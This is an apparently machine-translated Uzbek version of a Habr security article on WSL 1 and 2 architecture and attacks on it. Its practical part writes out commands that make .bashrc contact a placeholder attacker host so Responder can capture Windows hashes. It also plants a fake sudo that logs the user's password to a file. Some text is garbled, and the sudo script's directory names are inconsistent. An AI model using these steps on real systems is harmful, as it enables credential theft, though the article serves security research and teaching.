WSL tajribalari. 1-qism

Salom, habr! OTUS oktyabr oyida yangi kurs oqimini ishga tushiradi "Linux xavfsizligi". Kurs boshlanishi arafasida biz o'qituvchilarimizdan biri Aleksandr Kolesnikov tomonidan yozilgan maqolani siz bilan baham ko'ramiz.

WSL tajribalari. 1-qism

2016 yilda Microsoft IT hamjamiyatiga yangi WSL texnologiyasini taqdim etdi (Wberadi Suchun quyi tizim Linux), bu kelajakda oddiy va ilg'or OS foydalanuvchilari orasida mashhurlik uchun kurashayotgan ilgari murosasiz raqobatchilarni birlashtirishga imkon berdi: Windows va Linux. Ushbu texnologiya, masalan, Multi-boot-dan foydalanib, Linuxni ishga tushirishga hojat qoldirmasdan, Windows muhitida Linux OS vositalaridan foydalanish imkonini berdi. Habr-da siz WSL-dan foydalanishning afzalliklarini tavsiflovchi ko'plab maqolalarni topishingiz mumkin. Ammo, afsuski, ushbu maqola yaratilayotganda, ushbu resursda operatsion tizimlarning bunday simbiozining xavfsizligi bo'yicha hech qanday tadqiqotlar topilmadi. Ushbu post buni tuzatishga urinish bo'ladi. Maqolada WSL 1 va 2 arxitekturalarining xususiyatlari haqida so'z yuritiladi va ushbu texnologiyalardan foydalanadigan tizimlarga hujumlarning bir nechta misollari ko'rib chiqiladi. Maqola 2 qismga bo'lingan. Birinchisi, Linux va Windows-dan asosiy nazariy hujum usullarini taqdim etadi. Ikkinchi maqola sinov muhitini o'rnatish va hujumlarni takrorlashni o'z ichiga oladi.

WSL 1: arxitektura xususiyatlari

WSL xavfsizligi masalalariga eng aniq sho'ng'ish uchun quyi tizimni amalga oshirish bilan bog'liq asosiy nuanslarni aniqlash kerak. WSL tomonidan hal qilinadigan asosiy foydalanuvchi vazifalaridan biri bu Windows OS bilan ishlaydigan hostda Linux terminali orqali ishlash qobiliyatidir. Bundan tashqari, taklif qilingan muvofiqlik shu qadar mahalliy ediki, Linux executables (ELFs) to'g'ridan-to'g'ri Windows tizimida ishga tushirilishi mumkin edi. Ushbu maqsadlarga erishish uchun Windows 10-da maxsus tizim qo'ng'iroqlari to'plamidan foydalangan holda Linux ilovalarini ishga tushirishga imkon beruvchi maxsus quyi tizim yaratildi - shuning uchun Windows-da Linux tizim qo'ng'iroqlari to'plamini xaritalashga harakat qilindi. Bu jismonan yangi drayverlar va yangi jarayon formatini qo'shish orqali amalga oshirildi. Vizual ravishda arxitektura quyidagicha ko'rinadi:

WSL tajribalari. 1-qism

Aslida, Linux operatsion tizimi bilan o'zaro aloqa bir nechta yadro modullari va jarayonning maxsus turi - pico orqali tashkil etilgan. Yuqoridagi diagrammadan ko'rishingiz mumkinki, xostdagi Linux nusxasida ishlaydigan jarayon mahalliy bo'lishi va oddiy Windows ilovalari bilan bir xil resurslardan foydalanishi kerak. Ammo bunga qanday erishish mumkin? Loyihada Qurilish ko'prigi Boshqa OT dasturini ishga tushirish uchun operatsion tizimning barcha kerakli komponentlarini (uning versiyasiga qarab) ta'minlovchi Windows uchun jarayon kontseptsiyalari ishlab chiqilgan.

E'tibor bering, taklif qilingan abstraktsiya boshqa OT jarayoni boshlanishi kutilayotgan operatsion tizimga (xususan, Windows) e'tibor bermaslikka imkon berdi va umumiy yondashuvni taklif qildi.

Shunday qilib, piko jarayoni ichidagi har qanday dastur Windows yadrosidan qat'i nazar ishlashi mumkin:

  1. Tizim qo'ng'iroqlarining mosligi va tarjimasi muammolari maxsus provayderlar tomonidan hal qilinishi kerak;
  2. Kirish nazorati Xavfsizlik monitori orqali amalga oshirilishi kerak. Monitor yadroda joylashgan va shuning uchun Windows-ga bunday jarayonlar uchun provayder sifatida ishlay oladigan yangi drayver ko'rinishidagi yangilanish kerak edi. Piko jarayonining prototipi sxematik tarzda quyida keltirilgan:

WSL tajribalari. 1-qism

Linux fayl tizimi katta-kichik harflarni hisobga olgan holda fayl va katalog nomlaridan foydalanganligi sababli, WSL bilan ishlash uchun Windows-ga 2 turdagi fayl tizimlari qo'shildi - VolFS va DriveFS. VolFS - bu Linux fayl tizimining ilovasi, DriveFS - Windows qoidalariga muvofiq ishlaydigan fayl tizimi, lekin katta harf sezgirligini tanlash qobiliyatiga ega.

WSL 2

WSL 1 bir qator cheklovlarga ega edi, bu esa uni vazifalarning maksimal diapazonini hal qilish uchun ishlatishga imkon bermadi: masalan, u 32 bitli Linux ilovalarini ishga tushirish imkoniyatiga ega emas edi va qurilma drayverlaridan foydalanish mumkin emas edi. Shu sababli, 2020 yilda WSL 2 chiqarildi, bu quyi tizimni qurish yondashuvini o'zgartirdi. WSL 2 - bu WSL 1 ning resurslarni iste'mol qilish xususiyatlariga mos keladigan optimallashtirilgan virtual mashina. Endi, Windows OS foydalanuvchisi tomonidan hal qilingan muammolarga qarab, siz Linux quyi tizimining kerakli versiyasini tanlashingiz mumkin. Mumkin bo'lgan zaifliklarni yumshatish uchun WSL 2 Windows 10-da Hyper-V asosida amalga oshirildi. Ushbu shaklda Windows Linux operatsion tizimining yadrosini yakka holda ishlatish imkoniyatiga ega. Shuni esda tutish kerakki, WSL-ning 1-versiyasi Windows-ning ushbu sohadagi rivojlanish yo'nalishini ko'rsatishi kerak bo'lgan beta-xizmat sifatida taqdim etilgan, shuning uchun Hyper-V-ga o'tish muqarrar edi. Yakuniy arxitektura quyidagicha ko'rinadi:

WSL tajribalari. 1-qism

Ushbu versiyada Windows va Linux yadrolari o'z resurslariga ega va kesishish faqat fayl tizimida mavjud, ammo bu kesishish to'liq emas. Fayl tizimlari o'rtasidagi o'zaro ta'sir 9P protokoli yordamida ishlaydigan mijoz-server o'rami orqali amalga oshiriladi.

Bugungi kunda Microsoft WSL 1 va WSL 2 o'rtasida almashish imkoniyatini taqdim etadi. Ikkala versiya ham foydalanish uchun mavjud.

WSL xavfsizligi

Hozirgi vaqtda quyi tizimlar o'rtasidagi aloqaga hujum qilish uchun qonuniy OS vositalaridan foydalanishning ba'zi yondashuvlarini tavsiflovchi bir nechta ishlar mavjud. Yozish vaqtida hujumlarning dolzarbligini tekshirish uchun ularning skriptlaridan foydalanamiz. Hujumlar va stsenariylarning umumiy ro'yxati:

1. Fayl tizimini amalga oshirish: kirish huquqlari, umumiy kataloglar/ma'lumotlar almashinuvi mexanizmlarining mavjudligi.

dan kirish qoidalarining buzilishini aniqlash uchun tadqiqot o'tkazildi Linux FS->Windows FS, Windows FS->Linux FS. Tadqiqotlar ma'lum bir faylni maqsadli operatsion tizimda o'zgartirish imkoniyatini ko'rsatdi. Fayl tizimlarining bir qismini almashtirish, dublikatlarini yaratish va o'chirishga urinishlar ham amalga oshirildi.

Stsenariy:

  • A. Windows operatsion tizimidan hujum - Linux OT ning /etc katalogidan fayllarni o'zgartirish.
  • B. Linux operatsion tizimidan hujum - kataloglardagi fayllarni o'zgartirish: C:Windows, C:Program Files, C:Users<User>

2. Tarmoq stekini amalga oshirish.

Tadqiqot Windows tizimidagi Linux operatsion tizimidan hujumlar misollari yordamida amalga oshirildi. Tarmoq stekining xususiyatlaridan, ya'ni turli manbalarda autentifikatsiya mexanizmlaridan foydalanilgan.

Stsenariy:

  • Windows tizimida band bo'lgan portga kirishni ochish
  • Tegishli huquqlarsiz portni ochish
  • Windows operatsion tizimida elf fayli yordamida teskari qobiqni ishga tushirish.

3. WSL quyi tizimi yordamida zararli dasturiy ta'minot jarayonlarini ishga tushirishni yashirish.

Tadqiqot oddiy faktga asoslangan edi - xavfsizlik quyi tizimlari WSL 1 holatida operatsion tizimning qonuniy provayderi yordamida ishlaydigan boshqa yadrodagi hodisalarni ushlab tura olmaydi. WSL 2 holatida sodir bo'lgan voqealarni ko'rishning imkoni yo'q. engil virtual mashina ichida alohida yadroda.

Stsenariy:

1) Tizimga masofaviy kirish uchun dasturni ishga tushiring va ro'yxatga olingan voqealarni ko'ring.

WSL 1 tajribalari: xeshni ushlab turish (Windows)

Nihoyat biz amaliy qismga keldik. Birinchidan, siz sinov muhitini sozlashingiz kerak. Barcha tajribalar Windows 10 2004 o'rnatilgan skameykada o'tkaziladi.WSL uchun operatsion tizim tasviri sifatida Ubuntu 18.04 tasviri tanlangan. Tasvir tasodifiy tanlangan va har qanday boshqasi ham xuddi shunday ishlaydi. Stend o'rnatish uchun buyruqlar:

Avval ishga tushirishingiz kerak powershell.exe administrator sifatida.

WSL 1 uchun siz buyruqlarni bajarishingiz kerak:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft

  • Ubuntu.appx install β€”root #Установим ΠΎΠ±Ρ€Π°Π·
  • Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΠΏΡ€ΠΎΠΊΠ»ΠΈΠΊΠ°Ρ‚ΡŒ процСсс настройки ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ мСньшС ΠΏΡ€Π°Π², Ρ‡Π΅ΠΌ root. Для Π½Π°ΡˆΠΈΡ… тСстов это Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ sam.
  • Restart-Computer #ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ
  • Stendni qayta ishga tushirgandan so'ng, siz bash buyrug'ini chaqirishingiz mumkin. Agar hamma narsa to'g'ri ishlagan bo'lsa, Windows konsolida shunga o'xshash chiqishni ko'rasiz:

    WSL tajribalari. 1-qism

    Biz Kali Linux distributivini tajovuzkorning mashinasi sifatida ishlatamiz; barcha mashinalar bir xil mahalliy tarmoqda bo'lishi kerak.

    Faraz qilaylik, Windows kompyuterida WSL-ga imtiyozsiz kirishimiz bor. Linux-dan buyruqni chaqirish orqali Linux operatsion tizimiga hujum qilishga harakat qilaylik. Hujumni amalga oshirish uchun biz oddiy autorun texnikasidan foydalanamiz - Linux muhitida bajarish uchun skriptimizni qo'shamiz. Buning uchun siz faylni o'zgartirishingiz kerak .bashrc.

    WSL bilan ishlaydigan mashinada biz quyidagilarni bajaramiz:

    	1. bash
    	2. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² домашнюю Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ: cd /home/sam/
    	2. echo  Β«/home/sam/.attack.shΒ» >> .bashrc
    	3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux mashinasida biz ishlaymiz:

    1. Responder -I eth0 -rdvw

    Windows mashinasida bashni ishga tushiramiz.

    Biz Kali Linux mashinasida natijani kutamiz:

    WSL tajribalari. 1-qism

    Shunday qilib, biz Linux tizimidagi buyruqni bajarish orqali WSL quyi tizimi orqali Windows foydalanuvchi xeshlarini oldik.

    WSL 1 tajribalari: foydalanuvchi parolini olish (Linux OS)

    Keling, yana bir tajriba qilaylik. Ushbu tekshirish paytida biz faylga qo'shamiz .bashrc Linux operatsion tizimi foydalanuvchi parolini olish uchun bir nechta buyruqlar.

    Keling, bash-ni ishga tushiramiz va buyruqlarni kiritamiz:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Hujumni muvaffaqiyatli yakunlash uchun Sam foydalanuvchisi Linux terminalida sudo-ga qo'ng'iroq qilishi kerak. Shundan so'ng, Linux OS foydalanuvchi paroli faylda bo'ladi pass.txt:

    WSL tajribalari. 1-qism

    Hujumlarni amalga oshirish faqat nazariy ma'lumot uchun berilgan.

    Maqolaning keyingi qismida 9P protokolining amalga oshirilishi tasvirlangan, ushbu protokol uchun skaner yaratish ko'rib chiqiladi, shuningdek, undan foydalangan holda hujum amalga oshiriladi.

    Foydalanilgan adabiyotlar ro'yxati

    WSL tajribalari. 1-qism

    Ko'proq o'qish

    Manba: www.habr.com

    a Izoh qo'shish